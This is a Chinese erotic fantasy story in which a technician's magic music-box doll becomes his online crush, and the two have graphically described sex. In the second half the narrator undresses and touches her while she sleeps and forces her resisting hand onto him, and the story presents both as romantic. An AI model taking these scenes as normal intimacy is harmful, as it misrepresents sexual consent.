图片载入中

音乐盒里的女人

特大字】 【大字】 【中字】 【小字

我是一间事物机器公司的技术工程师,平常的工作就是替客户维护机器之类的,没事的时候呢,可以整天坐在电脑前和自称是美女作家的网友“小薇”聊上一整天,一忙起来连喝水的时间都没有,赚点钱容易吗?

在客户那值了二天班,总算可以回家好好睡一个大头觉了,谁知道摩托车竟然在半路抛锚了,“妈的,我就这么衰吗?”我恨恨的咒骂了二句,还踹了机车二脚,“咕噜”一声从肚子里发出来,不管那么多了,抬头一看不远处就是麦X劳了,广告上不是说吃了就有满满的力气吗?好吧!等有了力气也甭回家了,回公司再和小薇神侃吧!

吃完早餐果然精神饱满,但是机车还是发不动,叫计程车吧!拦了辆计程车,一上车扑鼻而来的茉莉花香,味道还挺不错的,“中山路二段路口。”向司机报了目的地,坐了一会,发现这个司机挺安静地不爱说话,有的司机特烦的一上车抓着就猛聊,要是遇到选举的敏感时机,一个话不投机把你扔在路边都有可能,不说话的好,那我就闭目养神吧!

奇怪也不想睡,精神好像特好的,广播里正好变换歌曲,前奏听起来有点像早期的旋律,“有一个美丽的小女孩,她的名字叫作小薇,她有双温柔的眼睛,她悄悄偷走我的心,小薇啊!你可知道我多爱你…”歌曲继续播放着,以前听这首歌没什么特别的感觉,可现在我却觉得每一个字都像是为我而写的,小薇,这个名子对我的意义已经不只是网路上的一个美女作家而已了。

是幻觉吗?在音乐播放的同时我突然发现在我前方的的平台上有一个音乐盒,盒里有一个陶瓷中国娃娃,我仔细一看,做的跟真的似的,等等,她的模样怎么越看越像小薇给我看过的相片,我是困的眼花了是不是,怎么连她身上的衣服都像是相片里穿的那套紫罗蓝色的新式旗袍,我拼命的揉着眼睛,看到的影像是越来越清楚,妈呀!她还冲着我笑咧。

“这位先生,你看得到那个音乐盒是吧!”沉默的司机居然开口说话了,可说的话我怎么听不懂。

“谁都看的到吧?”我一脸疑惑的看着司机。

“不一定喔!不是每个人都看的到的。”

别开玩笑了吧!八成是司机太无聊了拿我穷开心。

“喜欢这个音乐盒吗?”

喜欢?当然喜欢啊!不知道是不是我眼花了,如果这个陶瓷娃娃真的长的像小薇,那我可就求之不得了。

“看你的样子你是很喜欢了。”

“喜欢又怎么样,难不成你要送给我?”我都知道不可能的。

“送你当然不可能,卖给你到是可以。”

“你要卖多少钱呢?”

“一万块。”

“你吃人啊!”一个音乐盒要一万块,把我当凯子啊!

“如果单纯只是一个音乐盒是贵了些,不过如果你知道他的其他功能你会觉得一万块实在是便宜的不得了。”

“哦!”

“你拿起来看一看。”

我依着司机的意思小心翼翼的把音乐盒拿了起来,一万块耶!不要没打算买结果得用赔的。

“翻过来看看背面。”

我把音乐盒小心的翻转过来,看到了几行小字,正要念。

“慢着,不能念,至少现在不能念。”

“为什么?”

“念完这个咒语这个娃娃就会变成真人,嘿嘿。”说了一半司机很诡异的笑了二声,“先生很久没有和女人亲热了吧!”

靠,这个你也看得出来,自从和小丽分手后,一向洁身自爱的我当然就只能靠双手解决生理需要了,他刚刚说这个娃娃会变成真人,真的假的呀!

“先生要不要赌一赌,花一万块买下她,晚上就不用自己动手了。”司机的态度越来越暧昧。

我摇摇头,他肯定是想赚钱想疯了,我赚钱不容易啊!怎么可以随随便便就给骗了,没那么简单,“我没带那么多钱。”这个理由虽然是窝囊了点不过没钱你总不能逼我吧!

“钱我知道你有,就看你喜不喜欢这个女人了,你不是每天晚上都想着她吗?怎么不敢要了吗?”

见鬼了,我有钱你都知道,我每天晚上想着她你也知道,我不买都不行了。

“先生机会错过就没有了,你要等五十年后再见她吗?”

天啦!昨天才在聊天室里和她说等五十年后我们再见面,靠,连这个他都知道,莫非他偷看我们的聊天内容。

“快到路口了,你再不决定就没机会了。”

我看看窗外熟悉的大型看板,果然再过一个红绿灯就到公司了,我再看了看手里的音乐盒,娃娃依旧微笑着,简直就栩栩如生,只不过是缩小了些,“好,我买。”被骗也罢,如果是真的,我就能得偿夙愿了。

付了钱,我怀着忐忑的心带着音乐盒下了车,下车后我才发现原来音乐盒是可以阁上的,进了公司,第一件事就是打开电脑连上聊天室,这么有趣的事我一定要告诉她,可是我左等右等都不见她上线,怎么回事?难道是被她老公发现了,她和我说她是有老公的人,这也是为什么我们相约五十年后见了,因为我不可能到加拿大去找她,那会破坏了她的婚姻,扯远了,快到中午,我十点进公司的,一般我九点上线,她已经静静的在那等候着我了,可怎么到现在还不见人呢?急死我了。

越等越是心急如焚,我到羔羊发短讯也不见回音,又没她的电话,她没上线我根本没法找到她,刚刚还有人来问我她的去向,你问我我问谁呀!哇靠,该不是真的一语成谶了吧!

我连饭也吃不下了,看着被我摆在办公桌上的音乐盒,一个念头闪过,“念了咒语就会变成真人”,我何不先试试看呢,不过这里不是适合的地点,于是我决定先回家,反正也找不到她,再发个短讯给她我就回家吧!

※※※

我又搭了计程车回到我在台北租的这间小套房后,便迫不及待的把音乐盒后面的咒语念了一遍,然后打开音乐盒满心期待的看看结果。

咦!没动静,音乐盒里的娃娃一动也不动,怎么会这样,难道我真的是被骗了,世上怎么可能会有这等好事,只不过因为这个娃娃长的像小薇我就真的相信那个司机的话而买下她,我开始懊恼自己怎么这么容易受骗上当,也开始庆幸我没在聊天室遇到小薇,没有把这件事告诉她,要不然肯定会被她给笑死掉的。

“咕噜”肚子又在抗议了,早上吃的汉堡,中午该吃点什么呢?妈的,莫名其妙给骗了一万块,心里超不爽的,那一万块还是先挪用公款呢,幸好刚才回公司会计没向我讨帐,不然肯定糗大了,哎哟,我怎么会这么笨哪!仔细看看这个

娃娃哪里像小薇了,我正要伸手去摸音乐盒上的娃娃,突然眼前一黑。

当我的视线变清楚后不可思议的事真的发生了,真他妈的神奇,就在距离我不到一尺的地方,站着一个中国娃娃,不,不是中国娃娃而是…,小薇,她张着水灵灵的大眼睛望着我,微扬的嘴角是一个甜美的笑容,头上扎着二个可爱的包包头,垂在肩上的是二条小辫子。

当我第一眼看到相片时,我还取笑她怎么弄了个这么“可爱”的造型,她说那时她才十八岁啊!可爱点犯法吗?这么说来,眼前这个中国娃娃般的女人是小薇十八岁时的模样了,至于小薇现在到底几岁她始终三缄其口,年龄始终是女人的秘密嘛!

她站的姿势和相片里一模一样,二只纤纤玉手合力抓着其中一条辫子,样子可爱极了,合身的旗袍展现出她玲珑有致的身材,看不出来十八岁的小薇有这么丰满,根据我的目测估计有个34C是跑不掉的,这腰围嘛!24差不多,臀围就说不准了,不过她的身材看起来是十分的匀称了,用“魔鬼般的身材,天使般的面孔”来形容她,真是再贴切不过了。

难道我就这么看着她吗?当然不,我是男人嘛!还是一个饥渴了很久的男人,一个我朝思暮想的女人摆在眼前我能就这么看着吗?那我还是男人吗?可是如果她真是小薇,我还真的把她给吃了吗?我痴痴的望着小薇,她依旧对我微笑着,却不开口说话,是要等我先开口吗?是吧!通常上线她虽然已经等在那,但是要是我没主动找她她也就一直待在那不会理我,八成是这样的,我得先开口,我是男人嘛!

可我要说什么好呢?在聊天室里什么都说,可真见了面我又胆怯起来,现实里我是见到女人就结巴的,特别是面对我喜欢的女孩子,情况就更严重了。

“小…”妈的,怎么搞的又不是第一次和她说话了,在聊天室里也用过语音聊天的,小薇的声音也真的是相当悦耳,像广播主持人似的,“吃了没?”干,我就只能用这话当开场白吗?

“吃了。”

什么?刚刚是不是有什么声音,我没听错吧!她说“吃了”,“吃什么了?”

“我不知道你问的是早餐还是午餐?”

这语气够俏皮了,等等,她真的在和我说话了,我晕了,“我还没吃午餐,你午餐真的吃过了?”我得保持镇定,可不能让她给笑话了。

“早餐吃了,午餐还没,不过我习惯和你说吃了。”

她真的回答我的问题了,我听的清清楚楚,而她的姿势也开始变了,不是变了而已,而是她就像一个活生生的人一样在我的书桌前坐了下来,等等她还用我的电脑。

“你在干什么?”这是下意识里的举动,我一向不喜欢别人碰我的电脑的,包括我的前女友小丽,小丽就抱怨过我爱电脑比爱她多。

“我想看看你电脑里有些什么宝藏啊!”她的手握着鼠标,等候着萤幕上的欢迎画面闪过进入到WINXP里.

“等一下,你不能随便动我的电脑。”雪特,我在干什么,让她看一下会死啊!

“我不能看看吗?”她转过身用一种楚楚可怜的眼神看着我。

我的天啦!我投降了,“可以可以,你爱怎么看就怎么看。”

她开心的用鼠标点开档案总管,奇怪的是不用我指引她就可以在我的电脑里通行无阻,糟了她打开WINDOWS MEDIA PLAYER,在最近使用的档案清单里是我大前天看的“虐待女教官”,画面色情又暴力,我连忙伸出手按住她正要点下档案的手。

好香,好嫩,香是由她头发散发出来淡淡的清香,嫩是她滑嫩细致的手背,我都舍不得放开了,可我还是理智的把手移开,“你想看什么我找给你。”还是别让她随便乱看吧!要不然我可是一点形象都没了,妈的看色文的男人还有什么形象,话是这么说没错,可是总不能让她亲眼看到吧!再说她才十八岁,这么快就要污染她纯洁的心灵吗?话说回来她自己写色文的而且又不是真的十八岁,我是担心过头了。

“怕我发现你的秘密啊!”她的手离开了鼠标,我的心里好像松了一口气。

“算是吧!”我尴尬的回答着,“保留点美好印象嘛!”

“好吧!那我们现在要做什么?”她站了起来,在我这不到四坪的小房间里来回走着。

“去吃点东西好吗?”我提议。

“也好,我肚子也饿了。”

就这样我带着她搭着电梯下楼了,我没问她究竟是怎么一回事,在她的脸上我没有看到过多的惊讶,我也不好表现出一付大惊小怪的样子,好像我们见面是一件很正常的事,说不定是我在作梦,而她出现在我梦里,大概就是这样吧!就算是梦也是个美梦,我又何必戳破这个梦呢。

“这家的面线很好吃喔!要不要尝尝看。”她住在国外的人应该很少吃到这样道地的台湾小吃吧!

“好啊!”她开心的回应道。

走进面馆,我做主帮她点了一碗面线和一份肉圆,希望她会喜欢。

“你常来这里?”她问。

“是啊!我一个人住,随便吃就好了…”

和她闲聊了半天,没有特定主题,很快的我点的东西都来了。

看她吃的开心我就放心了,我到现在还是不敢相信她就在我面前,虽然这一切是那么的真实,刚刚老板娘还问我是不是又去给人值班了,你说这还不够真实吗?可是我还是觉得像在梦里.

“吃啊!你老看会饱吗?”

“好。”给她发现我发呆了,我傻笑着埋头吃起面来。

“好吃,真的很好吃。”她抽了张纸巾抹抹嘴。

“吃饱没?还要不要再点。”

“饱了,我中午向来吃的少,有吃就行了。”

“你总吃那些有的没的,那样没有营养的。”哇靠,我怎么像个老妈子一样,谁爱听人念啊!不过我是真的关心她的。

“我知道,谢谢你的关心。”她甜甜的一笑,还不至于嫌我烦吧!

“你想去哪逛逛我带你去。”

“你只想和我逛街吗?”

这是什么问题?我…这一切来的太突然,我还没想过如果她真出现在我面前我要做什么,也不是没想过啦!至少晚上打手枪的时候我是有想过和她…,但想归想啊!总不能像个饿虎一样就扑上去吧!

“天气好热,我哪里也不想去。”她慵懒的说着。

“那回我住的地方吹冷气上网好了。”

“好。”

不喜欢出门的她,大概就喜欢窝在家里上网吧!当然还有和我聊天。

回到我的小窝,她脱掉脚上的绣花鞋,趴的就往床上一躺,完全不计形象,我就喜欢她的自然。

“你有吉他吗?弹二首来听听吧!”她转身盘坐起来问我。

“吉他…很久没弹了,不过应该有带来吧!”我搔搔头想着,“有了。”我从衣橱的顶盖上把我的吉他拿了下来,太久没用了都生灰尘了,我们二个人都赶忙用手挥着扑鼻而来的尘埃,“不好意思,太久没用了,我拿去阳台擦一擦。”

我随手抽了几张面纸便拿着吉他到房间外头把吉他的外衣给撢了撢,直接把外套脱了还快些,就这么办,怕她久等,我把吉他取了出来把外套扔到角落就回到房间里.

“想听什么歌。”我坐在椅子上摆好架势,俨然一副吉他王子的模样,呵呵呵,她笑了开来,“怎么我的样子很可笑吗?”

“很帅气啊!”

是吗?嘴上这么说心里是这样想的吗?

“你弹你最拿手的歌吧!”

“好。”

我就这么和她一起弹弹唱唱的消磨了一个下午,好久没有这般畅快了,好像一扫几个月来的阴霾,但是我心里头还是一直有个隐忧,这个梦何时会醒,和她共度了一顿午餐,共同娱乐了一个下午,眼看晚餐时间又到了,吃完晚餐呢?漫漫长夜她还会陪我度过吗?怎么又想到这来了,我赶紧敲敲自己的脑袋,让自己清醒清醒。

“晚上想吃什么?”

“吃你。”她说这话时还真是不脸红啊!

“好啊!你要吃的下,我让你吃啊!”我怕什么,我可一点不吃亏。

“好啊!那你把衣服脱了。”

哇塞!虽然平常在聊天室里说话也是这么劲暴的,但现在可是面对面啊!就真不怕我兽性大发,这么公然挑逗我,“我真脱了。”我作势要脱了裤子。

“脱啊!”她二只大眼睛就这么盯着我,真的以为我不敢吗?我真的把上衣给脱了,“哇!好性感。”她打量着我裸露的上半身,好在平常有在锻炼,身体看起来不是太单薄,但我在做什么呢?一时冲动竟然把衣服给脱了,“还有呢?”她还一副不满足的样子继续挑逗我。

喂!我是男人耶!一个正常的男人,要真脱了裤子,不把她也脱光很难的,既然脱光了不…,这念头又转到那去了,我的大姐别在逗我了,我可不想给你留个坏印象,日后落下把柄说我是个大色狼。

“怎么?不敢脱了。”

真是气死我了,真要我脱是吧!我还真想一下子脱光自己也剥光她呢,“我脱了,你怎么吃我呢?从上面开始还是下面。”我真他妈的贱,就要露出原形了。

“好色喔!”她突然暧昧的笑着。

我不是上当了吧!让她给耍了,那可不行,我也要耍回来,她坐在床上,多悠哉的样子,轻轻松松的看我在这唱戏啊!我用快如闪电的速度移动到她面前在她身边坐下,故意把身体压低逼的她微微往后仰。

“你要干么?”看她有点花容失色的模样我特开心的。

“干么?”还问我,“你不是要吃我,我先送上甜点啊!”二个葡萄干,应该说是小绿豆更贴切。

“…”我想这是她想要说的话,我从她眼神里看出来了,我就喜欢她这样,感觉起来好像很大胆很开放,但是其实还是会害羞的。

她突然伸出手指头朝我的胸肌戳了二下,“挺结实的嘛!”难道我错了,她真的要把我吃了!她把脸凑近了些,要干么?不是真要品尝甜点吧!“你身上酸酸的,去洗个澡吧!臭酸的食物我没兴趣。”

我倒,还嫌我臭,我自个低头闻闻腋下,确实是一股酸臭味,没办法我二天没洗澡了,什么二天没洗澡,不用她再提醒了,我赶紧闪到一边,“不好意思,值了二天班,没时间洗澡,我这就去洗,你等我喔!”

“嗯。”她微笑点点头。

我简单拿了内衣裤和休闲服,慢着,我干么把自己包的像粽子一样,围条大浴巾不就得了,好就这么办,这样真要做什么也方便,敢调戏我,让你看看我的厉害,保证让你永生难忘,但仔细想想好歹穿件内裤吧!还是从抽屉里取了一件蓝色的子弹型内裤。

※※※

我可是彻彻底底的从头到脚都洗的干干净净,当然小弟弟是洗的都发亮了,看你敢不敢吃了,我洗了不少时间了吧!平常不用洗这么久的,这回因为二天没洗了,所以费工夫多洗了几下,终于洗完了,头发随便拨了二下,穿上内裤围上浴巾我就踏出浴室了。

看到她还在我就放心了,不过她怎么就躺在床上好像睡着了,没那么夸张吧!我是洗了多久,竟然洗到让她睡着了,哎!看她睡的那么甜都不忍心叫她了。

她侧躺在我的床上,我在床边坐了下来,看着她娇美的脸庞,多想一亲芳泽,可我不能操之过急,我的视线往下移到了她枕着头的的手臂上,如象牙般的细滑的肌肤,我实在忍不住轻轻的抚摸了一下,哇!好嫩喔!真像是吹弹可破一般,我的视线继续向下游移来到她的胸前,因为侧睡的关系衣服有些皱了,也让手给遮着了,反而看不出有多么丰盈了,穿的又是旗袍,密不透风的想看点春光外泄都没可能,向下发展吧!

她的臀部是一道优美的流线型弧线,让丝质的旗袍给包裹着,大腿的地方正好是开叉的地方,哇!发现新大陆了,在开叉的地方我看到一条细细的紫色带摸她这么久都没动静八成是睡沉了,我也就放开胆轻轻的掀开她的下摆看看她穿的是什么样的内裤。

丁字裤!我再看清楚点,真的是耶!除了阴阜前有块小小的布料外,连股沟都不见半块布料,是为了不让臀部露出内裤的形状吧!让我想想她会穿什么样的内衣呢?半罩的胸罩,丰满的乳房唿之欲出的那一种,肯定是的,说不定没穿也不一定,解开来看看不就得了。

反正她睡着了,我偷偷看一下再扣回去就好了,真是刺激啊!我小心翼翼的把右胸前的盘扣轻轻的解开,可不要把她给吵醒才是,真不简单,扣子紧的很,不过总算让我给解开了,三个,真辛苦,不过辛苦是值得的,轻轻的撩开衣襟,又让我大吃一惊,她竟然穿肚兜,一小片布围在胸前的那一种,我没亲眼看人穿过,但看过戏里的,那个什么“肉蒲团”里女人都穿肚兜的,那一小小块布根本遮不住什么,其性感度不下于胸罩更甚于胸罩,我已经迫不及待想亲眼看看她穿着肚兜和丁字裤的模样了。

我轻轻的揭开已经松了扣的衣襟,旗袍的开口从颈部一直绵延到胸侧,我所能看到的春光就正好在胸部的地方,我正想把衣襟再敞开一些,她突然伸了一个懒腰,睡成了平躺的姿势了,真是正中下怀了,不用我动手,自动敞开的衣襟里半个玉乳已经唿之欲出,别怪我了,我可要先尝为快了,我俯身正想一尝甜美的樱桃,“你在干什么?”糟了,她醒了。

“我…”我赶紧抬起头来。

她坐起身来,看见自己的衣服让人给解开了,眉头皱了一下,她生气了是吗?我不该这么猴急的,万一她要走我怎么办,煮熟的鸭子难道就给飞了吗?我在想什么呀!要是她从此再也不理我,那我不是孤单寂寞了,“对不起,我一时…”说什么呢?说我一时冲动,真有种后悔莫及的感觉。

“真的想要吗?”她淡淡的问一声。

让她这一问,我的脸立刻红了,其实我早已经忍不住了,看着她露在外面半个娇嫩的乳房,还有淡红的一点,我的下面挺的有些疼了,她看着我没有再说什么,但那眼就是勾引,那身体就是诱惑,我咽了一下口水,轻轻的抚摸着她有些泛红的脸蛋,热热的,滑滑的,粉红的嘴唇一张一合,我再也忍不住了,把脸凑过去轻轻的吻着她,感觉到她软软的舌头,来回的躲闪着。

“你真的想啊!”她轻轻的推开我的脸,羞涩的说着。

我没有说话,搂着她的手紧了一下,继续贪婪着亲吻着她的嘴唇、脸颊还有她的眼睛,“噢!你…”她轻轻的呢喃一声,感觉着她唿出的热气,我的手在她身上狂乱的摸着,见她不怎么反抗,顺势把她背后旗袍的拉链给拉了下来,旗袍滑落到她的腰际,映入眼帘的她姣美的上半身和胸前的那块鸳鸯戏水的小肚兜儿。

我的手继续抚摸着她,摸到的都是光滑的肌肤,两个鼓胀的乳房在我手心里跳跃着,我用手指轻拈着肚兜下的娇嫩的乳头,感觉它慢慢的坚挺起来,我把嘴移到她的胸脯上,贪婪的吸吮着她的乳头,舌尖在上面轻轻滑过,感觉到她的身体在轻轻颤抖,我把她的手从落下的袖子里穿了出来放到我的腰上让她紧紧搂着我,她的身体紧紧贴着我,感觉到一阵阵更加销魂的肌肤碰触,我的手掌在她高耸的胸脯上留连着,她越来越硬的乳尖顶着我的手心,感觉那件兜兜有些碍事,我从她的背后把它解开,看着那件绣着鸳鸯戏水的兜兜轻轻滑落,无限美好的上身完完全全的展现在我眼前。

她下意识的用手挡住胸脯,嘴里发出一声娇吟,我抓起她的手臂让它搂住我,自己的一只手立刻替代了它的位置,盖在她的乳房上揉捏着、抚弄着,嘴唇也轻吻着另一个乳房。

“嗯──”长长的一声呻吟自她口中溢出。

听见她的喘息,我的心头一阵燥热,下面的鸡巴挺的有些发涨,我的手慢慢放到她的大腿轻轻抚摸,感觉到她肌肤的滚烫,看着她销魂的样子,我的胆子渐渐大了起来,开始顺着她大腿内侧的肌肤逐渐往上,最后停在她那被内裤紧紧包裹的有些突起的小丘上来回的移动着。

她的手伸过来盖在我的手上,好像是在犹豫,让不让我继续往下,我犹豫了一下,轻咬她乳头的嘴慢慢加大了力度,她呻吟起来,整个身体覆在我的身上,我的舌头在她的乳尖上轻轻的画着圆圈,趁着她放松的时候,另一只手慢慢往下抚摸着她高高隆起阴阜,感觉到那里的柔软,还有细细的毛,夹在其中,她稍微挣札了一下,我的脑子一片混乱,鸡巴顶的越来越难受,我扯掉浴巾抓起她的手,把它放在上面,她挣扎着,我便使劲按着她的手,让它紧紧攥住我已经挺到极限的鸡巴。

“干什么呀!”她羞涩的说着。

我俯在她的耳边,轻轻唿着气,小声地说,“你帮我揉揉,有些难受,我弟弟也想你啦!”

“你…很色耶!”她顽皮的说着。

“只要见到你这个模样,谁都会色的。”我回答道。

“大色狼。”她笑骂道。

我伸出舌头舔着她的耳垂,往她的面轻轻吹着气,感觉她的手不再挣扎,而是隔着内裤轻轻握着我的鸡巴微微套弄着,我轻轻吻着她,对她说,“是不是很大?”

她一听整个脸都红了,羞的想把手给抽走,我又把她的手捉回来放在上面,“坏死了。”她娇嗔道。

“不许跑,你的一切都是我的。”我像宣告所有权般的说着。

“这么霸道!”她嘟着嘴说着。

“让我好好爱你吧!”在他面前我怎么霸道的起来呢?我就是想好好的疼她。

“你别弄疼我。”

“不会的,我会好好疼你的。”

我的手顺着她的阴阜慢慢往下,手指隔着内裤,在她阴蒂位置上轻轻的按着,她的眼睛里迷茫中带点慌乱,两手推着我,但却没有一丝力气,我轻轻把她搂在我怀里,让她躺在我的腿上,她的胸脯高耸着,乳头挺立着上下微颤,乳晕上我的唾液闪闪发亮,我的手慢慢下移,感觉到她两腿之间有一块湿滑,我的心头一阵狂喜,低下头,咬住她的乳房舔弄着,手顺着内裤的边缘划了进去,摸到了她浓密的毛,手感是那样的好。

我的中指在她凸起的阴蒂上上下划着,其余的手指,全部停在她的阴道口上,感觉着那里的湿润和细嫩,这是女人身上最娇嫩的肌肤,我的手在那里流连忘返上下抚摸着,我要把她的阴部变成一片汪洋。

她在我的怀里娇喘着,我的臂膀把她搂得越来越紧,我的嘴在她的胸脯上狂吻着,我的手在她的阴部揉搓着,感觉到那里越来越湿,抚摸丝绸的感觉让我的手发痒,让我的手发狂,我已经顾不得鸡巴的疼痛,全身心地投入到她的身体里,肆意的抚摸着,揉捏着,她娇喘连连,在我的耳中仿佛就是催情圣药,我再也忍不住了,轻轻的抬起她的屁股,把她的内裤退了下来,她裸露的身体,就像一只白羊,在我的怀里扭动着,我的眼睛盯着她退去内裤的下体,一堆柔软的肉夹杂着细细的毛,上面闪着水珠。

“你别盯着我看。”她害羞的说着。

“我当然要看,而且要看得通透。”

“摸不够还要看。”

“我还要把你吃了呢。”

“是我吃你。”她总是要在语气上占上风的。

我把她横抱起来,平放到床上,对她说,“我可以看看你的下边吗?”

“你看都看了还问。”,我在她的嘴上重重的吻了一下,“唔──”

我轻轻的分开她的双腿,她娇嫩的阴部完全展现在我的眼前,黑色的并不浓密的阴毛,静静的伏在那里。

“好看吗?”她问

“真美。”我回答。

“是吗?我都没见过。”

“让我仔细看看。”

“嗯。”她轻轻的点头。

我把头凑近,鼻尖几乎挨到了她的阴毛,她娇嫩鲜红的阴唇,微微向外翻着,露出了小指粗细的阴道口,一张一合的,周围一片湿润,在它的上方是她的阴蒂,绿豆般的大小,仿佛要破茧而出的样子,这里是我的天堂。

我深深的吸了一口气,嗅着那她湿润的气息,“这是你的味道。”我抬起头对她说,“我喜欢你的味道。”

“味道?你喜欢那里的味道。”她带着怀疑的口吻问道。

“对,喜欢。”我很诚恳的回答。

我忍不住伸出舌头,舔着她的阴部吸吮着,我深深的吸了一口气,把舌尖缩成一点,慢慢伸进她的阴道前后抽插着,同时用拇指在她的阴蒂上上下划动着,她开始随着我的抽插而呻吟着,我喷着热气,把脸埋在她的阴部,那里的气息令我发疯,她的闪躲,她的扭动,都不能摆脱我的舌尖。

“你的头发弄得我好痒喔!”她笑着说。

我轻笑,然后继续轻咬着她的阴唇,甚至有一口把它吞下去的冲动,我的脸上沾满了她的淫液,还有我的口水,我几乎用整个脸在她的阴部蹭着,感觉着那里的气息还有咸咸的味道,我的双手把她的屁股高高举起,疯狂的啃齿着她的下体,她的喘息声越来越大。

“你真的想把我吃了喔!”她俏皮的说着。

她两条丰满的腿在颤抖着,我突然抬起头把她搂进怀里,疯狂的吻着,一边含煳的对她说,“来尝尝吧,这就是你的味道,令我着迷的你的味道。”我紧紧地搂着她,疯狂的吻遍她的全身,不知道什么时候我的内裤已经脱了下来,我和她毫无阻隔的紧贴在一起,我的胸脯和她的乳房摩擦着,感觉到了她乳尖传来的硬度。

她紧紧的抱着我,四条腿纠缠在一起,她双腿的肌肤是那样的柔嫩,让我拼命的摩擦着,我的双手在她的后背胡乱的摸着,最后停留在她丰满的屁股上使劲的揉捏着,那样的柔软,那样的丰盈,感觉到她屁股逢里的小圆洞,我的手指在周围的皱褶上划动着,指尖微微陷入圆洞里,她意识到我的举动伸手抓住我的手,我暂时停住了这只手的动作。

但我的鸡巴却狠狠地顶着她的小腹,我想她已经感觉到了我的激情,我拿起她的手放到她的阴部使劲的按着,对她说,“你已经湿乎乎的了。”

“讨厌啦!”她娇嗔道。

“我现在可以进去吗?”我轻轻的问,同时把鸡巴塞到她的两腿之间,用我勃起的鸡巴,在她的阴部上下摩擦,这样我的手就空了出来,可以尽情的抚摸她的双乳和屁股。

“嗯。”她依旧是轻轻的点点头。

听到她的首肯,我不由得紧紧搂住她,又一阵狂吻,然后直起身看着她的裸体,她紧闭着双眼,仿佛在等着我的进入,我对她说,“我会轻轻的疼你的。”

她迷茫的点点头,我分开她的双腿,看着她鲜嫩的下体,慢慢的拿起我的鸡巴,用龟头在她的阴道口上下划着,等待着她的阴道慢慢的张开,让她充分湿润,我拿起她的手,放在我的鸡巴上,对她说,“来宝贝,把它放进去。”

“我放?”她质疑一声。

“对,我怕进错了,弄疼你,来吧!宝贝!”我轻轻的唿唤着她。

“你……”她欲语还羞的娇态令我痴迷。

“来吧!放进去吧!我要拥有你。”我怂恿着她。

“你自己放吧!我又看不到。”

“慢慢来,你知道在那里。”我耐心的鼓励她。

她微微抬头看着她的下体,把我的鸡巴往她的下体推进着,我在她小手的指引下,顺利的进入了那一块凹陷,紧紧地,我慢慢的往里挤着,半个龟头已经进去了,她深吸一口气似乎已经感受到我的鸡巴进入她的身体里了,我抬起头看着她的反应,慢慢的前后抽插着,让她适应我的进入,我抬起她的双腿,让她的屁股抬高,缓缓的往里插着生怕弄疼她。

感觉到她阴道的狭窄,她的阴道紧紧地包裹着我的鸡巴,仿佛要阻止我的进入,“真紧呀!”我对她说着。

“是你太大了。”她腼腆的回答着。

我又继续把她的腿分开到极限,腰部用劲,终于整个鸡巴没入了她的阴道,一声深深的喘息自她口中溢出,她紧紧的抱着我,我停止了抽插,趴在她身上紧紧地搂着她,亲吻着她的乳房,咬着她的乳尖,同时鸡巴开始缓慢抽动,幅度越来越大,速度也开始快了起来,她也随着我的摆动而摆动。

我抬起身体,看着她阴道里的鲜红色的嫩肉,随着我的抽出被带了出来,我慢慢加大了力度,并用拇指抚摸着她的阴蒂,随着她的呻吟加快速度,感觉自己的鸡巴被一团温暖的湿热包围着,越来越紧,发出阵阵噗哧噗哧的声音,我不断把她的屁股抬高,要更深入的进入她的身体,因为她的阴道太紧了,有些控制不住自己了,我不得不停下来。

“怎么停了?”她问着。

我在她的耳边说着,“宝贝,你好紧,舒服吗?”

“嗯!”她依旧只是轻轻的点点头。

“是让我快一点还是深一点,宝贝,如果舒服,就告诉我。”

“嗯!”

“叫出来好吗?”我需要她给我更大的鼓励。

“我试试。”她答应了。

觉得自己缓过来了,我又开始了活塞运动,用手指蘸着下体交合出的淫液,抹在她的阴蒂上,上下快速的抚弄着,“嗯──”她发出了一点声音,听到她的娇吟我加快了速度,我的整个鸡巴在她的阴道里脱出没入

她已慢慢的化无声的喘息为细细的呻吟声,“宝贝,大点声,有快感你就喊吧!”我抱着她继续鼓励着她。

“嗯!──噢!──”我知道她很努力的发出呻吟。

我把她拉起来,让她坐在我的怀里,双手托住她的腋下,一起一落,“亲爱的,你…饶了我吧!”看来她是舒服了,那陶醉的声音不是要我停止而是要我不要停。

“宝贝喜欢这样吗?”

“喜欢。”

我的鸡巴轻轻向上插着,亲吻着她的脸颊、嘴唇,她闭上眼睛享受着我的亲吻,我伸出舌头在她干净的腋窝里舔着,她抬起胳膊享受着,我双手尽力拖着她的屁股高高想上抬,狠狠地落下,“宝贝,你快到了吗?”

“噢!你这个坏蛋,坏死了这样弄我。”

听到她的娇吟,我再也忍不住了,一下把她按在床上,双手按住她的肩膀,咬着她的乳房,舔着她的腋窝,鸡巴拼命的在她越来越紧的阴道里,使劲的抽插。

“我爱你,你是我的。”我在她的耳边倾吐我的爱意。

“我也爱你,你永远都是我的。”

真是顽皮,不管在聊天室还是此刻,都说我是她的。

我紧紧搂住她,使劲抓住她的乳房,鸡巴越插越深,越插越快,“宝贝,我要射了,你到了吗?”“嗯。”她轻轻的应了一声,“射在里面可以吗?”她紧紧的抱着我像是默许了,我抱着她柔软的身体,好像要把她捏碎一样,鸡巴已经到了极限,感觉到她的阴道开始收缩,一股热流浇到了我的龟头上,我再也忍不住了,“宝贝,我射了。”我一边抽插着,一边把精液射进了她的最深处,喷射之后我的鸡巴变得软了,但仍然不肯抽出来,我紧紧地搂着她狂吻着,“你舒服吗?”我低声问道。

“舒服。”她柔软无力的说着。

“我会让你永远这么舒服,我们永远不分开好吗?”我说出了内心深处最大的渴望。

“你真的不想和我分开吗?”她看着我问。

“永远都不想。”我真诚的回答她。

“那我们就不分开。”她紧紧的搂着我,我感觉到的是一种不舍的依恋。

“好。”

也许是疲累也许是兴奋过头了,觉得有些困了,感觉她好像已经恬静的进入梦乡了,我轻轻的自她身上转到身旁,就怕压着了她。

看着她睡的如此甜美,我也不知不觉的睡着了。

※※※

醒来不知道是几点了,有些尿意,让我想起身去解脱一下,可是我的身体却有些动弹不得,因为有一只手臂和一只腿正压在我身上呢。我实在是不忍心移动她,可是我实在急了,轻轻的移开她的手脚,我蹑手蹑脚的走到浴室,哇!舒服多了。

当我正要转身一种不知名的忧虑浮上心头,会不会当我转过身其实刚刚所发生的一切都是梦,梦醒了就什么都不存在,打开水龙头我冲了冲脸,不论事实如何我都要面对的,深吸一口气,我缓缓的转过身,看到床上已经用被子取代我的位子的她,我莞尔一笑,紧绷的心情为知松懈了。

